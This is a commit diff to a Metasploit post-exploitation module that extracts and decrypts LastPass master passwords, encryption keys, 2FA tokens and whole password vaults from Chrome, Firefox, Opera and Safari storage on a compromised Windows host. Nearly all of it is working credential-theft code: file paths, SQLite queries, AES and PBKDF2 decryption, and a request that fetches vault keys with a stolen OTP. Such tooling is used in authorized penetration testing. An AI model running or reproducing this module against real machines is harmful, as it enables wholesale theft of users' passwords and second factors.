Fix Firefox/Opera bugs
parent
da9420a915
commit
e67065a7e9
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post
|
||||||
update_info(
|
update_info(
|
||||||
info,
|
info,
|
||||||
'Name' => 'LastPass Master Password Extractor',
|
'Name' => 'LastPass Master Password Extractor',
|
||||||
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
|
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
|
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
|
||||||
|
@ -49,12 +49,12 @@ class Metasploit3 < Msf::Post
|
||||||
print_status "Extracting 2FA tokens"
|
print_status "Extracting 2FA tokens"
|
||||||
extract_2fa_tokens(account_map)
|
extract_2fa_tokens(account_map)
|
||||||
|
|
||||||
print_status "Extracting encryption keys"
|
|
||||||
extract_vault_keys(account_map)
|
|
||||||
|
|
||||||
print_status "Extracting vault and iterations"
|
print_status "Extracting vault and iterations"
|
||||||
extract_vault_and_iterations(account_map)
|
extract_vault_and_iterations(account_map)
|
||||||
|
|
||||||
|
print_status "Extracting encryption keys"
|
||||||
|
extract_vault_keys(account_map)
|
||||||
|
|
||||||
print_lastpass_data(account_map)
|
print_lastpass_data(account_map)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
|
||||||
}
|
}
|
||||||
localstorage_path_map = {
|
localstorage_path_map = {
|
||||||
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||||
'Firefox' => "#{user_profile['LocalAppData']}\\LastPass",
|
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
|
||||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
||||||
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
||||||
}
|
}
|
||||||
|
@ -238,7 +238,7 @@ class Metasploit3 < Msf::Post
|
||||||
creds_per_user = encoded_creds.split("|")
|
creds_per_user = encoded_creds.split("|")
|
||||||
creds_per_user.each do |user_creds|
|
creds_per_user.each do |user_creds|
|
||||||
parts = user_creds.split('=')
|
parts = user_creds.split('=')
|
||||||
for creds in credentials # Check if we have the username already
|
for creds in credentials # Check iuf we have the username already
|
||||||
if creds[0] == parts[0]
|
if creds[0] == parts[0]
|
||||||
creds[1] = parts[1] # Add the password to the existing username
|
creds[1] = parts[1] # Add the password to the existing username
|
||||||
else
|
else
|
||||||
|
@ -256,9 +256,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
|
||||||
def decrypt_data(key, encrypted_data)
|
def decrypt_data(key, encrypted_data)
|
||||||
return if encrypted_data.blank?
|
return nil if encrypted_data.blank?
|
||||||
|
|
||||||
decrypted_data = "DECRYPTION_ERROR"
|
|
||||||
|
|
||||||
if encrypted_data.include?("|") # Use CBC
|
if encrypted_data.include?("|") # Use CBC
|
||||||
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
||||||
|
@ -300,12 +298,12 @@ class Metasploit3 < Msf::Post
|
||||||
unless ffcreds.blank?
|
unless ffcreds.blank?
|
||||||
ffcreds.each do |creds|
|
ffcreds.each do |creds|
|
||||||
if creds[1].blank?
|
if creds[1].blank?
|
||||||
creds[1] = "NOT_FOUND"
|
creds[1] = nil # No master password found
|
||||||
else
|
else
|
||||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
|
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
|
||||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||||
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
|
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
|
||||||
account_map[account][browser]['lp_creds'][creds[0]] = {'lp_password' => creds[1]}
|
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -333,12 +331,9 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
for row in result
|
for row in result
|
||||||
if row[0]
|
if row[0]
|
||||||
if row[1].blank?
|
|
||||||
row[1] = "NOT_FOUND"
|
|
||||||
else
|
|
||||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
|
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
|
||||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||||
row[1] = decrypt_data(sha256_binary_email, row[1])
|
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
|
||||||
account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]}
|
account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -347,7 +342,6 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#Extracts the 2FA token from localStorage
|
#Extracts the 2FA token from localStorage
|
||||||
|
@ -355,10 +349,9 @@ class Metasploit3 < Msf::Post
|
||||||
account_map.each_pair do |account, browser_map|
|
account_map.each_pair do |account, browser_map|
|
||||||
browser_map.each_pair do |browser, lp_data|
|
browser_map.each_pair do |browser, lp_data|
|
||||||
if browser == 'Firefox'
|
if browser == 'Firefox'
|
||||||
lastpass_data[account][browser].each_pair do |username, user_data|
|
path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid"
|
||||||
path = path + client.fs.file.separator + "lp.suid"
|
|
||||||
data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
|
data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
|
||||||
data = "DECRYPTION_ERROR" if (data.blank? || data.size != 32) # Verify content
|
data = nil if (data.blank? || data.size != 32) # Verify content
|
||||||
loot_path = store_loot(
|
loot_path = store_loot(
|
||||||
'firefox.preferences',
|
'firefox.preferences',
|
||||||
'text/binary',
|
'text/binary',
|
||||||
|
@ -367,10 +360,7 @@ class Metasploit3 < Msf::Post
|
||||||
nil,
|
nil,
|
||||||
"Firefox 2FA token file #{path}"
|
"Firefox 2FA token file #{path}"
|
||||||
)
|
)
|
||||||
lastpass_data[account][browser][username] << data
|
account_map[account][browser]['lp_2fa'] = data
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
else # Chrome, Safari and Opera
|
else # Chrome, Safari and Opera
|
||||||
data = read_file(lp_data['localstorage_db'])
|
data = read_file(lp_data['localstorage_db'])
|
||||||
loot_path = store_loot(
|
loot_path = store_loot(
|
||||||
|
@ -389,7 +379,7 @@ class Metasploit3 < Msf::Post
|
||||||
"WHERE key = 'lp.uid';"
|
"WHERE key = 'lp.uid';"
|
||||||
).flatten
|
).flatten
|
||||||
|
|
||||||
token.blank? ? account_map[account][browser]['lp_2fa'] = "NOT_FOUND" : account_map[account][browser]['lp_2fa'] = token.pack('H*')
|
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -431,10 +421,30 @@ class Metasploit3 < Msf::Post
|
||||||
browser_map.each_pair do |browser, lp_data|
|
browser_map.each_pair do |browser, lp_data|
|
||||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||||
if browser == 'Firefox'
|
if browser == 'Firefox'
|
||||||
path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
|
path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
|
||||||
data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
|
iterations = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
|
||||||
data = "NOT FOUND" if data.blank? # Verify content
|
iterations = "NOT FOUND" if iterations.blank? # Verify content
|
||||||
lastpass_data[account][browser][username] << data
|
lp_data['lp_creds'][username]['iterations'] = iterations
|
||||||
|
loot_path = store_loot(
|
||||||
|
"#{browser.downcase}.lastpass.iterations",
|
||||||
|
'text/plain',
|
||||||
|
session,
|
||||||
|
iterations,
|
||||||
|
nil,
|
||||||
|
"#{account}'s #{browser} LastPass iterations"
|
||||||
|
)
|
||||||
|
path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
|
||||||
|
vault = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
|
||||||
|
vault = "NOT FOUND" if vault.blank? # Verify content
|
||||||
|
lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND"
|
||||||
|
loot_path = store_loot(
|
||||||
|
"#{browser.downcase}.lastpass.vault",
|
||||||
|
'text/plain',
|
||||||
|
session,
|
||||||
|
vault,
|
||||||
|
nil,
|
||||||
|
"#{account}'s #{browser} LastPass Vault"
|
||||||
|
)
|
||||||
|
|
||||||
else # Chrome, Safari and Opera
|
else # Chrome, Safari and Opera
|
||||||
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
||||||
|
@ -447,12 +457,12 @@ class Metasploit3 < Msf::Post
|
||||||
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
|
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
|
||||||
lp_data['lp_creds'][username]['iterations'] = iterations
|
lp_data['lp_creds'][username]['iterations'] = iterations
|
||||||
loot_path = store_loot(
|
loot_path = store_loot(
|
||||||
"#{browser.downcase}.lastpass.vault",
|
"#{browser.downcase}.lastpass.iterations",
|
||||||
'text/plain',
|
'text/plain',
|
||||||
session,
|
session,
|
||||||
vault,
|
vault,
|
||||||
nil,
|
nil,
|
||||||
"#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}"
|
"#{account}'s #{browser} LastPass iterations"
|
||||||
)
|
)
|
||||||
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
||||||
else
|
else
|
||||||
|
@ -463,7 +473,7 @@ class Metasploit3 < Msf::Post
|
||||||
session,
|
session,
|
||||||
result[0][0],
|
result[0][0],
|
||||||
nil,
|
nil,
|
||||||
"#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}"
|
"#{account}'s #{browser} LastPass Vault"
|
||||||
)
|
)
|
||||||
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
||||||
end
|
end
|
||||||
|
@ -477,51 +487,54 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def extract_vault_keys(account_map)
|
def extract_vault_keys(account_map)
|
||||||
account_map.each_pair do |account, browser_map|
|
account_map.each_pair do |account, browser_map|
|
||||||
browser_map.each_pair do |browser, lp_data|
|
browser_map.each_pair do |browser, lp_data|
|
||||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||||
otp = extract_otp(account, browser, username, lp_data['lp_db_loot'])
|
if !user_data['lp_password'].blank? && user_data['iterations'] != "NOT_FOUND"# Derive vault key from credentials
|
||||||
|
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
|
||||||
|
else # Get vault key from disabled OTP
|
||||||
|
otp = extract_otp(account, browser, username, lp_data)
|
||||||
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp)
|
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# Returns otp, encrypted_key
|
# Returns otp, encrypted_key
|
||||||
def extract_otp(account, browser, username, path)
|
def extract_otp(account, browser, username, lp_data)
|
||||||
if browser == 'Firefox'
|
if browser == 'Firefox'
|
||||||
path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
|
path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
|
||||||
otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
|
otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
|
||||||
otp = "NOT FOUND" if otp.blank? # Verify content
|
otp = "NOT FOUND" if otp.blank? # Verify content
|
||||||
return otp
|
return otp
|
||||||
else # Chrome, Safari and Opera
|
else # Chrome, Safari and Opera
|
||||||
db = SQLite3::Database.new(path)
|
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
||||||
result = db.execute(
|
result = db.execute(
|
||||||
"SELECT type, data FROM LastPassData " \
|
"SELECT type, data FROM LastPassData " \
|
||||||
"WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'"
|
"WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'"
|
||||||
)
|
)
|
||||||
return result[0][1]
|
result[0][1]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def make_vault_key_from_creds username, password, key_iteration_count
|
def derive_vault_key_from_creds username, password, key_iteration_count
|
||||||
if key_iteration_count == 1
|
if key_iteration_count == 1
|
||||||
key = Digest::SHA256.hexdigest username + password
|
key = Digest::SHA256.hexdigest username + password
|
||||||
else
|
else
|
||||||
key = pbkdf2(password, username, key_iteration_count, 32)
|
key = pbkdf2(password, username, key_iteration_count.to_i, 32)
|
||||||
end
|
end
|
||||||
|
|
||||||
return key
|
key.first
|
||||||
end
|
end
|
||||||
|
|
||||||
def decrypt_vault_key_with_otp username, otp
|
def decrypt_vault_key_with_otp username, otp
|
||||||
otpbin = [otp].pack "H*"
|
otpbin = [otp].pack "H*"
|
||||||
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
|
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
|
||||||
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp)
|
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp)
|
||||||
return decrypt_data(vault_key_decryption_key, encrypted_vault_key)
|
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
|
||||||
end
|
end
|
||||||
|
|
||||||
def retrieve_encrypted_vault_key_with_otp username, otp
|
def retrieve_encrypted_vault_key_with_otp username, otp
|
||||||
|
@ -538,13 +551,17 @@ class Metasploit3 < Msf::Post
|
||||||
http.request(request)
|
http.request(request)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
puts request.body
|
||||||
|
puts response.body
|
||||||
|
|
||||||
|
|
||||||
# Parse response
|
# Parse response
|
||||||
encrypted_vault_key = nil
|
encrypted_vault_key = nil
|
||||||
if response.body.match(/randkey\="(.*)"/)
|
if response.body.match(/randkey\="(.*)"/)
|
||||||
encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
|
encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
|
||||||
end
|
end
|
||||||
|
|
||||||
return encrypted_vault_key
|
encrypted_vault_key
|
||||||
end
|
end
|
||||||
|
|
||||||
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
|
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
|
||||||
|
@ -567,13 +584,13 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return OpenSSL::Digest::SHA256.hexdigest(output)
|
OpenSSL::Digest::SHA256.hexdigest(output)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def pbkdf2(password, salt, iterations, key_length)
|
def pbkdf2(password, salt, iterations, key_length)
|
||||||
digest = OpenSSL::Digest::SHA256.new
|
digest = OpenSSL::Digest::SHA256.new
|
||||||
return OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
|
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue